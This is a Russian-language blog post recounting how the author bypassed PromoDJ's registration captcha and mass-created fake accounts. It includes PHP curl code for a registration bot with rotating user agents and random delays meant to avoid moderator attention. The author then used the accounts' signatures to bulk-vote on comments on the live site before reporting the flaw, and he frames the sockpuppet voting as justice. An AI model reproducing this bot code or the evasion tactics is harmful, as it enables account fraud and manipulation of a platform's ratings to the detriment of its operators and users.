Pull to refresh

Использование уязвимости PromoDJ во имя справедливости

Reading time 11 min
Views 17K
imageДобрый день. Хочу поделиться историей, которая произошла со мной буквально вчера, но обо всем по порядку.



Содержание


1. Интродукция
2. Возможные направления деятельности
	2.1. Накрутка значения проморанка
	2.2. Спам
	2.3. Голосование за комментарии
3. Способы реализации
4. Подготовка к регистрации учетных записей
	4.1. Основная информация
	4.2. Капча
	4.3. E-mail адреса
	4.4. Константы
5. Скрипты и их работа
	5.1. Регистратор учетных записей
	5.2. Авторизатор
	5.3. Получение сигнатур пользователей
	5.4. Оболочка для работы с сигнатурами пользователей
6. Заключение
	6.1. Результаты работы
	6.2. Реакция администрации PromoDJ
	6.3. Последнее слово
7. Инструментарий

Интродукция


Полагаю, многие из вас знают о существовании портала PromoDJ (сокращенно PDJ), кто с ним не знаком – ничего страшного, сейчас я все объясню. Сайт представляет собой социальную сеть для музыкантов и диджеев, фотографов и певцов, да и много для кого еще, где каждый из них может выкладывать свой материал на оценку, а зарегистрированные пользователи оценивать и обсуждать этот самый материал. PDJ – отличная площадка для начинающего музыкального проекта, поэтому мы зарегистрированы именно там.

По натуре, я очень любопытный человек, мне всегда было интересно знать, что и как работает, где какие дырки в защите и как это можно использовать, было свободное время, поэтому объектом для изучения был выбран PDJ. Но перед началом исследованием я сел и подумал, — А какую пользу из этого можно получить?

Для себя я выделил несколько направлений:
  1. Накрутка значения проморанка;
  2. Спам;
  3. Голосование за комментарии.
Сразу скажу, что остановился на последнем, но опишу все направления.

Возможные направления деятельности


Накрутка значения проморанка

Проморанк – это персональный рейтинг крутости, он используется для формирование общего топа артистов, топа по стилям и по деятельности. Накрутка этого значения нам ничего бы не дала: качество музыки останется прежним, идейности от этого не прибавится, количество посетителей и прослушиваний тоже, а после недавних нововведения на PDJ, накручивать рейтинг стало теоретически невозможно. Дело в том, что с недавних пор, чтобы проголосовать за того или иного артиста, повысить тем самым его проморанк, необходимо авторизировать свою учетную запись, для этого нужно указать номер своего мобильного на который и придет заветный код.


Спам
Добавил это направление деятельности только чтобы было побольше пунктов. Я не люблю спам, да и вы, думаю, тоже, поэтому рассылку спама не рассматриваю, да и вообще считаю, что это самое грязное и низкое дело.


Голосование за комментарии

PromoDJ – это, в первую очередь, социальная сеть, здесь люди могут свободно выражать свое мнение и отношение посредством комментариев, постов в блогах и оценкой комментариев.

После того, как я подумал про оценку комментариев, я как будто посмотрел на все происходящее под другим углом. Последнее время, стал встречать обсуждения на форумах PDJ, где тот или иной пользователя несправедливо получал минусы за свои комментарии, ни один, ни два, а штук 20, после чего неадекватные пользователи, не читая текста обсуждения, подхватывали эстафету и продолжали ставить минусы и безобидный комментарий уходил за -100. После этих мыслей я решил стать Суперменом, стать Бэтменом и Робином в одном лице, Джеимсом Бондом с лицензией на изменение рейтинга комментариев, борцом за справедливость, ужасом, летящим на крыльях ночи, неся возмездие во имя Луны.

Яркий пример адекватного и совершенно верного (из хода дискуссии) комментария:
Чуть позже, тот же комментарий:

Способы реализации


Перед тем, как начать бегать по городу в плавках, маске и черном плаще я решил изучить, как можно реализовать задуманное и с какой стороны к этому лучше подойти. На тот момент я точно знал, что запрос, на повышение или понижение оценки комментария, приходит без перезагрузки страниц, а это значит, что была использована какая-то javascript-библиотека, которая формировала и отправляла post, а может быть get, запрос на сервер PDJ.

Посмотрим чуть ближе:
В POST-запросе передаются следующие параметры:


Где, digest – это уникальный, для каждого зарегистрированного пользователя, параметр (в некоторых случаях, буду называть сигнатурой), который состоит из id-пользователя и тридцати двух символьного хеша; commentID – номер комментария; vote – режим оценки, «1» — плюс комментарию, «-1» — минус комментарию.

Далее я завершил сеанс пользователя на сайте и попытался проголосовать за какой-то комментарий, что, собственно, у меня удачно получилось. Для меня это многое значило, теперь, например, я знал, что мне не придется авторизироваться на сайте, чтобы отдать голос за тот или иной комментарий, все выполнялось одним запросом с тремя параметрами.

Все необходимые знания были получены, но стоял вопрос о digest — уникальных идентификаторах пользователя, по недействительным сигнатурам голоса не проходили, а с помощью одной сигнатуры можно проголосовать, за выбранный комментарий, только один раз. Подходящим и единственным выходом, который я нашел, был регистрация нескольких подставных аккуантов для использования их сигнатур для голосований.

Подготовка к регистрации учетных записей


Основная информация

Страница регистрации, на PromoDJ, выглядит очень массивно, много всяких пунктов, элементов ввода, селектов и чекбоксов. Опытным путем я быстро определил, какие параметры необходимо передавать для успешно регистрации, ими оказались:
$postfiends = array (
    "row[login]" => "", // логин
    "row[password1]" => "", // пароль
    "row[password2]" => "", // пароль, еще раз
    "row[email]" => "", // e-mail
    "row[i]" => "", // имя
    "row[f]" => "", // фамилия
    "row[sex]" => "", // пол, может быть man или woman
    "row[iam_clubber]" => "1", // статус: клаббер
    "row[iam_listener]" => "1", // статус: слушатель
    "crow[company_kind]" => "none", // нет, я не представляю компанию
 
    "crow[title]" => "", // название организации
    "crow[countryID]" => "3159", // код страны
    "crow[regionID]" => "0", // код региона (не указан)
    "crow[cityID]" => "0", // код города (не указан)
    "crow[metroID]" => "0", // код станции метро (не указан)
    "crow[street]" => "", // улица, дом
    "crow[tel]" => "", // контактный телефон
    "crow[fax]" => "", // факс
    "crow[www]" => "", // сайт
 
    "row[styleID]" => "", // больше всего люблю стиль (код из списка)
    "row[nick]" => "", // ник
    "row[title]" => "", // адрес страницы на promodj.ru
    "row[about]" => "", // о себе
    "row[icq]" => "", // icq
    "row[skype]" => "", // skype
    "row[countryID]" => "3159", // код страны
    "row[regionID]" => "0", // код региона (не указан)
    "row[cityID]" => "0", // код города (не указан)
    "row[metroID]" => "0", // код станции метро (не указан)
    "row[invite]" => "", // волшебный код
    "row[agreed]" => "1", //да, я согласен с правилами сайта
    "respond" => "", // ответ на капчу
    "key" => "" // хеш капчи
);
Выбор статусов «клаббер» и «слушатель» не случаен, эти статусы не требуют подтверждения со стороны администрации, а лишнее внимание, в этом деле, ни к чему. Например, чтобы пройти подтверждение статуса «музыкант» требуется подробно написать о своей деятельности, будет странно, если администрация увидит запросы, идущие друг за другом, с одинаковым описанием.

Капча

Спускаясь в конец анкеты, последним пунктом, находим капчу, которая подло искривляет текст, затрудняя статическое определение:

Как я писал выше, в запросе на регистрацию передается не только ответ на капчу, что и сам хеш. Этот же хеш используется для генерации картинки:
pdj.ru/captcha_big.gif?key=0ad241a541a4f2e8a7457138b6c2299e

Хеш уникален и зарегистрироваться по нему можно лишь один раз, изменение хеша приводит к изменению текста на картинке. Зрительно у меня не получилось определить алгоритм по которому из хеша можно получить ответ на капчу, поэтому я предположил три дальнейших хода развития:
  1. Составить таблицу состоящую из валидной пары (хеш + ответ);
  2. Попытаться определить алгоритм получения из хеша ответ;
  3. Поискать реализацию распознавания капчи подобного типа.
Составить таблицу состоящую из валидной пары (хеш + ответ): очень долго и нудно, плюс придется писать дополнительный скрипт, этот вариант можно рассматривать только если найдутся добровольцы для работы.

Попытаться определить алгоритм получения из хеша ответ: довольно труднореализуемо, либо вообще невозможно, ведь может быть использован какой-то алгоритм хеширования, да еще с использованием соли. Не вариант.

Поискать реализацию распознавания капчи подобного типа: никогда не работал и не использовал подобные библиотеки, этот вариант можно использовать.

Пока я рассуждал на эту тему, случайно обнаружил, что если хеш меньше 32 символов, то картинка будет с четырьмя нулями, определив это, мне осталось только проверить, стоит ли заглушка на этот случай на PDJ или нет. Для этого, в коде страницы я изменил необходимые параметры и успешно зарегистрировал новую учетную запись.

E-mail адреса

Я решил не заниматься поиском регистраторов электронных ящиков, не писать их самому и не искать тех, кто продает базы, не рассылать троянов друзьям и знакомым, зачем? За нас все сделает Яндекс.

Константы

Для регистрации учетных записей почти все готово, осталось собрать недостающие данные, а именно:
  1. Список имен, для регистрации;
  2. Коды музыкальных стилей;
  3. Небольшой user-agents-список.
В качестве списка имен я использовал большую базу ников, найденную в интернете. Остальные данные:
$uagents = array (
    "Opera/9.20 (Windows NT 6.0; U; en)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50",
    "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.02 [en]",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
    "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0" );
 
$styles = explode(";", "88;2;4;7;6;14;31;15;18;23;25;27;28;8;24;29;30;44;46;47;49;37;1;80;16");


Скрипты и их работа


Регистратор учетных записей

set_time_limit(0);
$magic = 0;
$i=1;
 
$fp = fopen('names.txt','rb');
while ( ($line = @fgets($fp)) !== false) {
    //$pdgparams = "";
    $postfiends["row[login]"] = $postfiends["row[password1]"] = $postfiends["row[password2]"] = $postfiends["row[nick]"] = $postfiends["row[title]"] = trim($line);
    $postfiends["row[email]"] = $postfiends["row[login]"]."@asdfghhgj.ru";
    $postfiends["row[sex]"] = (rand(0,1)?"man":"woman");
    $postfiends["row[styleID]"] = $styles[rand(0, sizeof($styles)-1)];
    $postfiends["key"] = $magic+$i;
 
    //foreach ($postfiends as $key_name => $key_value)
    //    $pdgparams .= '&'.$key_name.'='.$key_value;
 
    $ci = curl_init();
    curl_setopt($ci, CURLOPT_USERAGENT, $uagents[rand(0, sizeof($uagents)-1)]);
    curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, 30);
    curl_setopt($ci, CURLOPT_TIMEOUT, 30);
    curl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ci, CURLOPT_POST, TRUE);
    curl_setopt($ci, CURLOPT_POSTFIELDS, $postfiends);
    curl_setopt($ci, CURLOPT_URL, "pdj.ru/register/");
    curl_exec($ci);
    curl_close($ci);
 
    $i++;
    sleep(rand(5,25));
}

Пока работает скрипт, приходят извещения об успешной регистрации:



Авторизатор

Чтобы совсем не вызывать никаких подозрений и не попрощаться в миг со всеми аккуантами, я решил авторизовать каждый. Для этого я экспортировал все письма из почтового клиента, затем выдернул из них ссылки и получил список из огромного количества записей.

Получение сигнатур пользователей

Процесс получение сигнатуры состоял из нескольких шагов:
  1. Авторизация пользователя, через форму на login-странице;
  2. Переход на главную страницу PromoDJ;
  3. Извлечение из кода страницы параметра digest.
Этот процесс занял около двух с половиной — трех часов, но в этом есть плюс — меня ни разу не забанили, мне не приходили извещения от администрации о каких-либо нарушения и ни одна из учетных записей, за все время, не была удалена.

Оболочка для работы с сигнатурами пользователей

Для голосования за комментарии я сделал удобную оболочку, где мог указать адрес комментария и что с ним сделать — поставить плюс или минус.


На странице настроек можно указать режим работы:

В автоматическом режиме, после нажатия на кнопку «Выполнить», происходит голосование всех доступных хешей за указанный комментарий, в ручном режиме есть возможность выбирать из списка любой понравившийся хеш и голосовать по нему:


Заключение


Результаты работы


Так же сеялось рандомное добро и любовь по всему PromoDJ.

Реакция администрации PromoDJ

После того, как я отправил письмо в техническую поддержку портала, я и подумать не мог, что все закончится тем, что, за проявленное любопытство, подарят premium-аккуант и брендирование, которые очень кстати придутся нашему музыкальному проекту.



Последнее слово

Описанная уязвимость, благодаря которой производилась регистрация учетных записей, закрыта через несколько минут после моего письма.

Спасибо, что прочитали до самого конца. Удачи и до встречи в новых статьях!

Инструментарий


В процессе работы использовались:
Tags:
Hubs:
+148
Comments 52
Comments Comments 52

Articles